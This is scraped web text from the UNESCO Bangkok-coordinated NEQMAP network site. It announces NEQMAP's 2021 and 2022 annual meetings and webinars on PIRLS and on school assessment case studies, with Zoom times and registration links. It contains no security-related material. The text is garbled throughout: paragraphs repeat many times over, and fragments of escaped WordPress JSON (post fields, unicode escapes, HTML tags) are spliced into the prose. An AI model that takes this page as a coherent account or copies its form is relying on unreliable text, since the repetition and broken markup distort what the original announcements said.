As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

